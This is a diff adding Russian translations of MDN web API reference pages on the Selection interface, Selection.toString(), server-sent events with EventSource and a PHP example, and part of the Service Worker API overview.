+<p>A selection object represents the {{domxref("range","ranges")}} that the user has selected. Typically, it holds only one range, accessed as follows:</p>
+
+<div style="overflow: hidden;">
+<pre class="brush:js">var selObj = window.getSelection();
+var range  = selObj.getRangeAt(0);</pre>
+</div>
+
+<ul>
+ <li><code>selObj</code> is a Selection object</li>
+ <li><code>range</code> is a {{domxref("Range")}} object</li>
+</ul>
+
+<p>As the <a href="http://www.w3.org/TR/selection-api/#h_note_15">Selection API specification notes</a>, the Selection API was initially created by Netscape and used multiple ranges, for instance, to allow the user to select a column from a {{HTMLElement("table")}}. However browsers other than Gecko did not implement multiple ranges, and the specification also requires the selection to always have a single range.</p>
+
+<h3 id="Selection_and_input_focus">Selection and input focus</h3>
+
+<p>Selection and input focus (indicated by {{domxref("Document.activeElement")}}) have a complex relation, that depends on the browser. In cross-browser compatible code it's better to handle them separately.</p>
+
+<p>Safari and Chrome (unlike Firefox) historically focus the element containing selection when modifying the selection programmatically, but this might change in the future (see <a href="https://www.w3.org/Bugs/Public/show_bug.cgi?id=14383">W3C bug 14383</a> and {{webkitbug("38696")}}).</p>
+
+<h3 id="Glossary" name="Glossary">Glossary</h3>
+
+<p>Other key terms used in this section.</p>
+
+<dl>
+ <dt>anchor</dt>
+ <dd>The anchor of a selection is the beginning point of the selection. When making a selection with a mouse, the anchor is where in the document the mouse button is initially pressed. As the user changes the selection using the mouse or the keyboard, the anchor does not move.</dd>
+ <dt>focus of a selection</dt>
+ <dd>The focus of a selection is the end point of the selection. When making a selection with a mouse, the focus is where in the document the mouse button is released. As the user changes the selection using the mouse or the keyboard, the focus is the end of the selection that moves.<strong> Note:</strong> This is not the same as the focused <em>element</em> of the document, as returned by {{domxref("document.activeElement")}}.</dd>
+ <dt>range</dt>
+ <dd>A range is a contiguous part of a document. A range can contain entire nodes as well as portions of nodes, such as a portion of a text node. A user will normally only select a single range at a time, but it's possible for a user to select multiple ranges (e.g. by using the Control key). A range can be retrieved from a selection as a {{domxref("range")}} object. Range objects can also be created via the DOM and programmatically added or removed from a selection.</dd>
+</dl>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML Editing', '#selection', 'Selection')}}</td>
+   <td>{{Spec2('HTML Editing')}}</td>
+   <td>Initial (older) definition</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Selection API', '#definition', 'Selection')}}</td>
+   <td>{{Spec2('Selection API')}}</td>
+   <td>The Selection API specification is based on the HTML Editing APIs specification and focuses on the Selection-related functionality.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown()}}</td>
+   <td>9</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>modify()</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop(2)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown()}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>modify()</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile(2)}}</td>
+   <td>1.0</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also" name="See_also">См. также</h2>
+
+<ul>
+ <li>{{domxref("Window.getSelection")}}, {{domxref("Document.getSelection")}}, {{domxref("Range")}}</li>
+ <li>HTML inputs provide simpler helper APIs for working with selection (see {{domxref("HTMLInputElement.setSelectionRange()")}})</li>
+ <li>{{domxref("Document.activeElement")}}, {{domxref("HTMLElement.focus()")}}, and {{domxref("HTMLElement.blur()")}}</li>
+</ul>
+
+<h2 id="Gecko_notes">Gecko notes</h2>
+
+<ul>
+ <li>Gecko/Firefox provide additional features, available to chrome (internal and add-on) code only. These are defined in {{interface("nsISelectionPrivate")}}.</li>
+ <li>Mozilla source code: {{source("dom/webidl/Selection.webidl")}}</li>
+ <li>{{obsolete_inline("gecko29")}} {{domxref("Selection.selectionLanguageChange()")}} used to be exposed to the web content until Firefox 29</li>
+</ul>
+
+<dl>
+</dl>
diff --git a/files/ru/web/api/selection/tostring/index.html b/files/ru/web/api/selection/tostring/index.html
new file mode 100644
index 0000000000..9726f381b9
--- /dev/null
+++ b/files/ru/web/api/selection/tostring/index.html
@@ -0,0 +1,66 @@
+---
+title: Selection.toString()
+slug: Web/API/Selection/toString
+translation_of: Web/API/Selection/toString
+---
+<div>
+<div>
+<div>{{ ApiRef("DOM") }}{{SeeCompatTable}}</div>
+</div>
+</div>
+
+<p>Метод <strong><code>Selection.toString()</code></strong> возвращает строку, содержащуюся в выделенном объекте, т.е. выделенный текст.</p>
+
+<h2 id="Syntax" name="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><em>str</em> =<em> sel</em>.toString()
+</pre>
+
+<h3 id="Return_value">Return value</h3>
+
+<ul>
+ <li><em><code>str</code></em> -- это строка, содержащаяся в выделении.</li>
+</ul>
+
+<h3 id="Parameters" name="Parameters">Parameters</h3>
+
+<p><em>None (отсутствуют).</em></p>
+
+<h2 id="Description" name="Description">Description</h2>
+
+<p>Этото метод возвращает выделенный текст.</p>
+
+<p>В <a href="en/JavaScript">JavaScript</a>, этот метод вызывается автоматически, когда функция, которой он передается, требует строку:</p>
+
+<pre class="brush: js">alert(window.getSelection()) // What is called
+alert(window.getSelection().toString())  // What is actually being effectively called.
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML Editing', '#dom-selection-stringifier', 'Selection.toString()')}}</td>
+   <td>{{Spec2('HTML Editing')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.Selection.toString")}}</p>
+
+<h2 id="See_also" name="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("Selection")}}, the interface it belongs to.</li>
+</ul>
diff --git a/files/ru/web/api/server-sent_events/index.html b/files/ru/web/api/server-sent_events/index.html
new file mode 100644
index 0000000000..f77249df1b
--- /dev/null
+++ b/files/ru/web/api/server-sent_events/index.html
@@ -0,0 +1,72 @@
+---
+title: Server-sent events
+slug: Web/API/Server-sent_events
+translation_of: Web/API/Server-sent_events
+---
+<p>{{DefaultAPISidebar("Server Sent Events")}}</p>
+
+<p>По традиции, web-страница должна отправить запрос на сервер, чтобы получить новые данные; это то, как страница получает данные с сервера. Server-sent events дают возможность серверу отправлять новые данные web-странице в любое время, отсылая сообщения web-странице. Такие входящие сообщения могут расцениваться как <em><a href="/en-US/docs/DOM/event">Events</a> + data</em> внутри web-страницы.</p>
+
+<h2 id="Понятия_и_применение">Понятия и применение</h2>
+
+<p>Чтобы изучить, как использовать server-sent events, обратитесь к статье <a href="/en-US/docs/Web/API/Server-sent_events/Using_server-sent_events">Using server-sent events</a>.</p>
+
+<h2 id="Interfaces" name="Interfaces">Interfaces</h2>
+
+<dl>
+ <dt>{{domxref("EventSource")}}</dt>
+ <dd>Defines all the features that handle connecting to a server, receiving events/data, errors, closing a connection, etc.</dd>
+</dl>
+
+<h2 id="Examples">Examples</h2>
+
+<ul>
+ <li><a href="https://github.com/mdn/dom-examples/tree/master/server-sent-events">Simple SSE demo using PHP</a></li>
+</ul>
+
+<h2 id="Specification">Specification</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#server-sent-events', 'Server-sent events')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="See_also" name="See_also">See also</h2>
+
+<h3 id="Tools" name="Tools">Tools</h3>
+
+<ul>
+ <li><a href="https://github.com/EventSource/eventsource">EventSource polyfill for Node.js</a></li>
+ <li>Remy Sharp’s <a class="link-https" href="https://github.com/remy/polyfills/blob/master/EventSource.js">EventSource polyfill</a></li>
+ <li>Yaffle’s <a class="link-https" href="https://github.com/Yaffle/EventSource" title="https://github.com/Yaffle/EventSource">EventSource polyfill</a></li>
+ <li>Rick Waldron’s <a class="link-https" href="https://github.com/rwldrn/jquery.eventsource">jquery plugin</a></li>
+ <li>intercooler.js <a href="http://intercoolerjs.org/docs.html#sse">declarative SSE support</a></li>
+</ul>
+
+<h3 id="Related_Topics" name="Related_Topics">Related Topics</h3>
+
+<ul>
+ <li><a href="/en-US/docs/AJAX" title="AJAX">AJAX</a></li>
+ <li><a href="/en-US/docs/JavaScript" title="JavaScript">JavaScript</a></li>
+ <li><a href="/en-US/docs/WebSockets" title="WebSockets">WebSockets</a></li>
+</ul>
+
+<h3 id="Other_resources">Other resources</h3>
+
+<ul>
+ <li>A <a href="http://hacks.mozilla.org/2011/06/a-wall-powered-by-eventsource-and-server-sent-events/" title="http://hacks.mozilla.org/2011/06/a-wall-powered-by-eventsource-and-server-sent-events/">Twitter like application</a> powered by server-sent events and <a class="link-https" href="https://github.com/mozilla/webowonder-demos/tree/master/demos/friends%20timeline" title="https://github.com/mozilla/webowonder-demos/tree/master/demos/friends timeline">its code on Github</a>.</li>
+ <li><a href="http://dsheiko.com/weblog/html5-and-server-sent-events" title="http://dsheiko.com/weblog/html5-and-server-sent-events">HTML5 and Server-sent events</a></li>
+ <li><a href="http://rajudasa.blogspot.in/2012/05/html5-server-sent-events-using-aspnet.html" title="http://rajudasa.blogspot.in/2012/05/html5-server-sent-events-using-aspnet.html">Server-sent events using Asp.Net</a></li>
+</ul>
diff --git a/files/ru/web/api/server-sent_events/using_server-sent_events/index.html b/files/ru/web/api/server-sent_events/using_server-sent_events/index.html
new file mode 100644
index 0000000000..8aeb349c50
--- /dev/null
+++ b/files/ru/web/api/server-sent_events/using_server-sent_events/index.html
@@ -0,0 +1,186 @@
+---
+title: Using server-sent events
+slug: Web/API/Server-sent_events/Using_server-sent_events
+translation_of: Web/API/Server-sent_events/Using_server-sent_events
+---
+<p>{{DefaultAPISidebar("Server Sent Events")}}</p>
+
+<div class="summary">
+<p>Разрабатывать web-приложения, использующие <a href="/en-US/docs/Web/API/Server-sent_events">Server-Sent Events</a> намного проще, чем с использованием websockets. Нужно всего лишь немного кода на стороне сервере, чтобы переправлять события web-приложению, но клиентская часть кода для обработки этих событий работает почти точно так же, как и для любых других событий.</p>
+</div>
+
+<h2 id="Получение_событий_от_сервера">Получение событий от сервера</h2>
+
+<p>Server-Sent Event API содержится внутри интерфейса {{domxref("EventSource")}}. Чтобы открыть соединение с сервером для начала записи событий, которые он присылает, необходимо создать новый объект <code>EventSource</code>, который будет указывать на URI скрипта, который создает события. Например:</p>
+
+<pre class="brush: js">const evtSource = new EventSource("ssedemo.php");</pre>
+
+<p>Если файл с генератором событий размещен на другом домене, то должен быть создан новый объект <code>EventSource</code> в который следует передать помимо URI еще и словарь опций. Например, если предположить, что клиентский скрипт находится на <code>example.com</code>:</p>
+
+<pre class="brush: js"><code>const evtSource = new EventSource("//api.example.com/ssedemo.php", { withCredentials: true } ); </code>
+</pre>
+
+<p>Как только вы создали экземпляр <code>EventSource</code>, вы можете начать прослушивание сообщений с сервера, добавив обработчик для события {{event("message")}} :</p>
+
+<pre class="brush: js">evtSource.onmessage = function(event) {
+  const newElement = document.createElement("li");
+  const eventList = document.getElementById('list');
+
+  newElement.innerHTML = "message: " + event.data;
+  eventList.appendChild(newElement);
+}
+</pre>
+
+<p>Этот код прослушивает входящие сообщения (то есть уведомления от сервера, на которых нет поля <code>event</code>) и добавляет текст сообщения в список в HTML-документе.</p>
+
+<p>Вы также можете прослушивать события, используя <code>addEventListener()</code>:</p>
+
+<pre class="brush: js"><code>evtSource.addEventListener("ping", function(event) {
+  const newElement = document.createElement("li");
+  const time = JSON.parse(event.data).time;
+
+  newElement.innerHTML = "ping at " + time;
+  eventList.appendChild(newElement);
+});</code></pre>
+
+<p>Этот код аналогичен коду выше, за исключением того, что он будет вызываться автоматически всякий раз, когда сервер отправляет сообщение с полем <code>event</code>, установленным в «ping»; затем он парсит JSON в поле <code>data</code> и выводит эту информацию.</p>
+
+<h2 id="Отправка_событий_с_сервера">Отправка событий с сервера</h2>
+
+<p>Код на стороне сервера, который отправляет события, должен отвечать, используя MIME-тип <code>text/event-stream</code>. Каждое уведомление отправляется в виде блока текста, оканчивающегося парой новых строк (<code>\n</code>) . Подробнее о формате потока событий см.  {{ anch("Event stream format") }}.</p>
+
+<p>{{Glossary("PHP")}} код, который мы используем для примера приведен ниже:</p>
+
+<pre class="brush: php">date_default_timezone_set("America/New_York");
+header('Cache-Control: no-cache');
+header("Content-Type: text/event-stream\n\n");
+
+$counter = rand(1, 10);
+while (1) {
+  // Every second, send a "ping" event.
+
+  echo "event: ping\n";
+  $curDate = date(DATE_ISO8601);
+  echo 'data: {"time": "' . $curDate . '"}';
+  echo "\n\n";
+
+  // Send a simple message at random intervals.
+
+  $counter--;
+
+  if (!$counter) {
+    echo 'data: This is a message at time ' . $curDate . "\n\n";
+    $counter = rand(1, 10);
+  }
+
+  ob_end_flush();
+  flush();
+  sleep(1);
+}
+</pre>
+
+<p>Приведенный выше код генерирует событие каждую секунду с типом события «ping». Данные каждого события - это объект JSON, содержащий метку времени ISO 8601, соответствующую дате, когда было сгенерировано событие. Через случайные интервалы отправляется простое сообщение (без типа <code>event</code>).</p>
+
+<div class="note">
+<p><strong>Примечание</strong>: Вы можете найти полный пример, который использует код, показанный в этой статье на GitHub - см. <a href="https://github.com/mdn/dom-examples/tree/master/server-sent-events">Simple SSE demo using PHP.</a></p>
+</div>
+
+<h2 id="Обработка_ошибок">Обработка ошибок</h2>
+
+<p>Когда возникают проблемы (такие как тайм-аут ответа сети или проблемы, связанные с <a href="/en-US/docs/HTTP/Access_control_CORS" title="/en-US/docs/HTTP/Access_control_CORS">контролем доступа</a>), тогда генерируется событие <code>error</code>. Вы можете обработать это событие программно, реализовав метод <code>onerror</code> для объекта <code>EventSource</code>:</p>
+
+<pre class="brush: js">evtSource.onerror = function(error) {
+  console.error("⛔ EventSource failed: ", error);
+};
+</pre>
+
+<h2 id="Закрытие_потоков_событий">Закрытие потоков событий</h2>
+
+<p>По умолчанию, если соединение между клиентом и сервером закрывается, то соединение сбрасывается. Прервать соединение можно с помощью метода <code>.close()</code>.</p>
+
+<pre class="brush: js">evtSource.close();</pre>
+
+<h2 id="Формат_потока_событий">Формат потока событий</h2>
+
+<p>Поток событий представляет из себя простой поток текста, который должен иметь кодировку <a href="https://developer.mozilla.org/en-US/docs/Glossary/UTF-8">UTF-8</a>. Сообщения в потоке событий разделяются парой символов новой строки. Двоеточие, как первый символ строки считается комментарием и игнорируется.</p>
+
+<div class="note"><strong>Примечание:</strong> Строка комментария может использоваться, чтобы предотвратить тайм-аут соединений; сервер может периодически отправлять комментарий, чтобы поддерживать соединение.</div>
+
+<p>Каждое сообщение содержит одну или более строчек текста, которые перечиляют поля этого сообщения. Каждое имеет свое имя, за которым следует двоеточие, после которого идут текстовые данные для значения этого поля. </p>
+
+<h3 id="Поля">Поля</h3>
+
+<p>Каждое полученное сообщение имеет некоторую комбинацию следующих полей, по одному на строку:</p>
+
+<dl>
+ <dt><code>event</code></dt>
+ <dd>Строка, идентифицирующая тип описанного события. Если <code>event</code> указан, то событие будет отправлено в браузер слушателю для указанного имени события. Исходный код сайта должен использовать <code>addEventListener()</code> для прослушивания именованных событий. Обработчик <code>onmessage</code> вызывается, если для сообщения не указано имя события.</dd>
+ <dt><code>data</code></dt>
+ <dd>Поле данных для сообщения. Когда <code>EventSource</code> получает несколько последовательных строк, начинающихся с <code>data:</code>, <a href="http://www.w3.org/TR/eventsource/#dispatchMessage">он объединяет их</a>, вставляя символ новой строки между каждой из них. Последние переводы строки удаляются.</dd>
+ <dt><code>id</code></dt>
+ <dd>Идентификатор события для установки значения последнего ID события для объекта <code><a href="/en/Server-sent_events/EventSource" title="en/Server-sent events/EventSource">EventSource</a></code>.</dd>
+ <dt><code>retry</code></dt>
+ <dd>Время переподключения, используемое при попытке отправить событие. Это должно быть целое число, указывающее время переподключения в миллисекундах. Если указано нецелое значение, поле игнорируется.</dd>
+</dl>
+
+<p>Другия названия полей игнорируются.</p>
+
+<div class="note"><strong>Примечание:</strong> If a line doesn't contain a colon, the entire line is treated as the field name with an empty value string.</div>
+
+<h3 id="Примеры">Примеры</h3>
+
+<h4 id="Сообщения_с_данными">Сообщения с данными</h4>
+
+<p>В следующем примере отправлено три сообщения. Первый - это просто комментарий, так как он начинается с символа двоеточия. Как упоминалось ранее, это может быть полезно в качестве подтверждения активности, если сообщения могут отправляться не регулярно.</p>
+
+<p>Второе сообщение содержит поле данных со значением «some text». Третье сообщение содержит поле данных со значением «another message \n with two lines». Обратите внимание на специальный символ новой строки в значении.</p>
+
+<pre class="brush: json">: this is a test stream
+
+data: some text
+
+data: another message
+data:
+</pre>
+
+<h4 id="Именованные_события">Именованные события</h4>
+
+<p>Данный пример отправляет именованные события. У каждого из них есть имя события, указанное в поле <code>event</code>, и поле <code>data</code>, значением которого является соответствующая строка JSON с данными, необходимыми для клиента, чтобы реагировать на событие. Поле <code>data</code> может, конечно, содержать любые строковые данные; это не обязательно должен быть JSON.</p>
+
+<pre class="brush: json">event: userconnect
+data: {"username": "bobby", "time": "02:33:48"}
+
+event: usermessage
+data: {"username": "bobby", "time": "02:34:11", "text": "Hi everyone."}
+
+event: userdisconnect
+data: {"username": "bobby", "time": "02:34:23"}
+
+event: usermessage
+data: {"username": "sean", "time": "02:34:36", "text": "Bye, bobby."}
+</pre>
+
+<h4 id="Смешивание_и_сопоставление">Смешивание и сопоставление</h4>
+
+<p>Вам не нужно использовать только неназванные сообщения или именованные события. Вы можете смешать их вместе в одном потоке событий.</p>
+
+<pre class="brush: json">event: userconnect
+data: {"username": "bobby", "time": "02:33:48"}
+
+data: Here's a system message of some kind that will get used
+data: to accomplish some task.
+
+event: usermessage
+data: {"username": "bobby", "time": "02:34:11", "text": "Hi everyone."}</pre>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div>
+<h3 id="EventSource"><code>EventSource</code></h3>
+
+<div>
+
+
+<p>{{Compat("api.EventSource")}}</p>
+</div>
+</div>
diff --git a/files/ru/web/api/service_worker_api/index.html b/files/ru/web/api/service_worker_api/index.html
new file mode 100644
index 0000000000..be8e729086
--- /dev/null
+++ b/files/ru/web/api/service_worker_api/index.html
@@ -0,0 +1,280 @@
+---
+title: Service Worker API
+slug: Web/API/Service_Worker_API
+tags:
+  - API
+  - Landing
+  - NeedsTranslation
+  - Offline
+  - Overview
+  - Reference
+  - Service Workers
+  - TopicStub
+  - Workers
+translation_of: Web/API/Service_Worker_API
+---
+<div>
+<p>{{ServiceWorkerSidebar}}</p>
+
+<p class="summary">Service worker фактически выполняет роль прокси-сервера, находящегося между веб-приложением и браузером, а также сетью (если доступна). Он позволяет (кроме прочего) описывать корректное поведение веб-приложения в режиме офлайн, перехватывать запросы сети и принимать соответствующие меры, основываясь на доступности сети, и обновлять данные, находящиеся на сервере при доступе к нему. Также они имеют доступ к push-уведомлениям и API для фоновой синхронизации.</p>
+</div>
+
+<h2 id="Концепция_и_использование_Service_Worker">Концепция и использование Service Worker</h2>
+
+<p>Service worker — это событийно-управляемый <a href="https://developer.mozilla.org/en-US/docs/Web/API/Worker">worker</a>, регистрируемый на уровне источника и пути. Он представляет собой JavaScript-файл, который может контролировать веб-страницу/сайт, с которым он ассоциируется, перехватывать и модифицировать запросы навигации и ресурсов, очень гибко кешировать ресурсы, для того чтобы предоставить вам полный контроль над тем, как приложение ведет себя в определенных ситуациях (например, когда сеть не доступна).</p>
+
+<p>Service worker запускается в контексте worker'ов, поэтому он не имеет доступа к DOM и работает в потоке отдельном от основного потока JavaScript, управляющего вашим приложением, а следовательно — не блокирует его. Он призван быть полностью асинхронным; как следствие, синхронные API, такие как <a href="/en-US/docs/Web/API/XMLHttpRequest">XHR</a> и <a href="https://developer.mozilla.org/en-US/docs/Web/Guide/API/DOM/Storage">localStorage</a>, в Service Worker'е использовать нельзя.</p>
+
+<p>Из соображений безопасности service worker'ы работают только по HTTPS (либо, в целях разработки, на <code>localhost</code>). Давать сторонним людям возможность измененять сетевые запросы крайне опасно. Кроме того, Service Worker API недоступен в <a href="https://support.mozilla.org/ru/kb/privatnyj-prosmotr-prosmotr-veb-stranic-bez-sohran">режиме приватного просмотра</a> браузера Firefox.</p>
+
+<div class="note">
+<p><strong>Заметка</strong>: Service Worker'ы выигрывают у предыдущих решений, таких как <a href="http://alistapart.com/article/application-cache-is-a-douchebag">AppCache,</a> потому что не делают предположений о том, что вы пытаетесь сделать, и не ломаются, в случаях если их предположения не оказываются верными; вы имеете полный контроль над всем.</p>
+</div>
+
+<div class="note">
+<p><strong>Заметка</strong>: Service worker'ы широко используют промисы (<a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise">Promises</a>). В общем случае они будут ждать ответа, после которого вернутся с успешным или неудачным завершением. Архитектура на промисах для этого подоходит идеально.</p>
+</div>
+
+<h3 id="Регистрация">Регистрация</h3>
+
+<p>Service worker сначала регистрируется с помощью метода {{domxref("ServiceWorkerContainer.register()")}}. В случае успешной регистрации, service worker будет загружен клиентом и попытается установиться/активироваться (см. ниже) для всех URL, доступных пользователю, или только для указанного вами подмножества.</p>
+
+<h3 id="Загрузка_установка_и_активация">Загрузка, установка и активация</h3>
+
+<p>Service Worker будет следовать следующему жизненному циклу:</p>
+
+<ol>
+ <li>Загрузка</li>
+ <li>Установка</li>
+ <li>Активация</li>
+</ol>
+
+<p>Когда пользователь впервые запросит доступ к сайту/странице, контролируемой Service Worker'ом, тот моментально будет загружен .</p>
+
+<p>После этого он будет загружаться каждые 24 часа или около того. Он <em>может</em> загружаться и чаще, но он <strong>должен</strong> загружаться как минимум каждые 24 часа, чтобы предотвратить использование старой версии кода клиентом.</p>
+
+<p>Установка производится в случае если загружаемый файл признается новым — либо отличным от уже установленного service worker (определяется через побайтовое сравнение), либо первым устанавливаемым service worker'ом для этой страницы/сайта.</p>
+
+<p>Если это первый раз, когда service worker оказался доступен, будет проведена установка, а после успешного ее завершения — активация.</p>
+
+<p>Если service worker уже существует, новая версия устанавливается в фоновом режиме, но не активируется — worker переходит в состояние <em>в ожидании</em>. Новая версия активируется только тогда, когда больше не останется загруженных страниц, использующих старый service worker. Как только это случится, новый service worker активируется (станет <em>активным worker'ом</em>). Активация может произойти раньше при использовании {{domxref ("ServiceWorkerGlobalScope.skipWaiting()")}}, а существующие страницы могут быть переведены под контроль активного воркера с помощью {{domxref ("Clients.claim()")}}.</p>
+
+<p>Вы можете подписаться на {{domxref("InstallEvent")}}; для того чтобы подготовить ваш service worker к использованию, к примеру, чтобы создать кеш при помощи встроенного API хранилища и разместить внутри него данные, которые вам необходимы в вашем приложении для работы офлайн.</p>
+
+<p>Есть также событие <code>activate</code>. Момент, когда это событие наступает, является удачным для очистки старого кеша и всего, что ассоциировалось с предыдущей версией вашего service worker'а.</p>
+
+<p>Service worker может отвечать на запросы, используя событие {{domxref("FetchEvent")}}. Вы можете изменять ответ на эти запросы на свое усмотрение используя метод {{domxref("FetchEvent.respondWith") }}.</p>
+
+<div class="note">
+<p><strong>Заметка</strong>: Так как выполнение <code>oninstall</code>/<code>onactivate</code> может занять время, спецификация service worker предоставляет метод <code>waitUntil</code>, который возвращает промис, когда вызывается <code>oninstall</code> или <code>onactivate</code>. Функциональные события не отправляются service worker, пока промис не завершится успешно.</p>
+</div>
+
+<p>Для полного руководства по созданию рабочего примера читайте <a href="/en-US/docs/Web/API/ServiceWorker_API/Using_Service_Workers">Использование Service Worker</a>.</p>
+
+<h2 id="Другие_варианты_использования">Другие варианты использования</h2>
+
+<p>Service worker'ы также предназначены для таких вещей, как:</p>
+
+<ul>
+ <li>Фоновая синхронизация данных</li>
+ <li>Ответ на запросы от других источников</li>
+ <li>Получение централизованного обновления для данных использующих тяжелые вычисления, таких как геолокация или гироскоп, для того чтобы несколько станиц могли использовать одни и те же данные</li>
+ <li>Компиляция и управление зависимостями на клиентской стороне для CoffeeScript, less, CJS/AMD модулей и т.д. для целей разработки</li>
+ <li>Подписка на фоновые сервисы</li>
+ <li>Кастомная шаблонизация, основанная на определённых паттернах URL</li>
+ <li>Улучшение производительности, с помощью предварительной загрузки ресурсов, которые понадобятся пользователю в ближайшем будущем, например несколько последующих картинок в фотоальбоме.</li>
+</ul>
+
+<p>В будущем service worker'ы будут способны на многие другие полезные вещи для веб-платформ, приближая их к нативным приложеням. Примечательно, что другие спецификации могут и будут использовать контекст service worker, к примеру для:</p>
+
+<ul>
+ <li><a href="https://github.com/slightlyoff/BackgroundSync">Фоновой синхронизации</a>: запускать service worker даже когда ни одного пользователя нет на сайте, чтобы обновить кеш.</li>
+ <li><a href="/en-US/docs/Web/API/Push_API">Реакции на пуш-сообщения</a>: запускать service worker для отправки сообщений пользователям, чтобы оповестить их о новом доступном контенте.</li>
+ <li>Реакции на определенное время и дату</li>
+ <li>Введение гео-ограничений</li>
+</ul>
+
+<h2 id="Интерфейс">Интерфейс</h2>
+
+<dl>
+ <dt>{{domxref("Cache") }}</dt>
+ <dd>Представляет хранилище для объектов {{domxref("Request")}} / {{domxref("Response")}}, которые кешируются, как часть жизненного цикла {{domxref("ServiceWorker")}}.</dd>
+ <dt>{{domxref("CacheStorage") }}</dt>
+ <dd>Представляет хранилище для объектов {{domxref("Cache")}}. Он создает главную директорию для всех именовынных кешей, к которым {{domxref("ServiceWorker")}} имеет доступ, и поддерживает отображение строковых имен соответствующего объекта {{domxref("Cache")}}.</dd>
+ <dt>{{domxref("Client") }}</dt>
+ <dd>Представляет область видимости клиента service worker. Это либо документ в контексте браузера, либо {{domxref("SharedWorker")}}, который контролируется активным worker'ом.</dd>
+ <dt>{{domxref("Clients") }}</dt>
+ <dd>Представлет контейнер для списка объектов {{domxref("Client")}}; основной способ получить доступ к клиентам активного service worker'а текущего источника.</dd>
+ <dt>{{domxref("ExtendableEvent") }}</dt>
+ <dd>Расширяет жизненный цикл событий <code>install</code> и <code>activate</code>, отправляемых {{domxref("ServiceWorkerGlobalScope")}} как часть жизненного цикла service worker'а. Это гарантирует, что любое функциональное событие (как {{domxref("FetchEvent")}}) не отправится в {{domxref("ServiceWorker")}}, пока он не обновит шаблон данных, удалив устаревшие данные кеша.</dd>
+ <dt>{{domxref("ExtendableMessageEvent") }}</dt>
+ <dd>Обект событий {{event("message_(ServiceWorker)","message")}} запускается в service worker (когда канал сообщений в {{domxref("ServiceWorkerGlobalScope")}} получил новое сообщение из другого контекста) — расширяет жизненный цикл таких событий.</dd>
+ <dt>{{domxref("FetchEvent") }}</dt>
+ <dd>Параметр, передающийся в обработчик {{domxref("ServiceWorkerGlobalScope.onfetch")}}, <code>FetchEvent</code> представляет собой событие получения, которое отправляется в  {{domxref("ServiceWorkerGlobalScope")}} {{domxref("ServiceWorker")}}. Он содержит информацию о запросе и результирующем ответе и обеспечивает {{domxref("FetchEvent.respondWith", "FetchEvent.respondWith()")}} метод, который позволяет отправить произвольный ответ обратно контролируемой странице.</dd>
+ <dt>{{domxref("InstallEvent") }}</dt>
+ <dd>Параметр, передющийся в  {{domxref("ServiceWorkerGlobalScope.oninstall", "oninstall")}} обработчик, <code>InstallEvent</code> представляет сообой событие установки, которое отправляется {{domxref("ServiceWorkerGlobalScope")}} {{domxref("ServiceWorker")}}. Как наследник {{domxref("ExtendableEvent")}}, он гарантирует, что функциональные события, такие как {{domxref("FetchEvent")}}, не будут отправлены во время установки. </dd>
+ <dt>{{domxref("Navigator.serviceWorker") }}</dt>
+ <dd>Возвращает объект {{domxref("ServiceWorkerContainer")}}, который обеспечивает доступ к регистрации, удалению, обновлению и коммуникации с объектами {{domxref("ServiceWorker")}}<a href="https://html.spec.whatwg.org/multipage/browsers.html#concept-document-window">ассоциируемого документа</a>.</dd>
+ <dt>{{domxref("NotificationEvent") }}</dt>
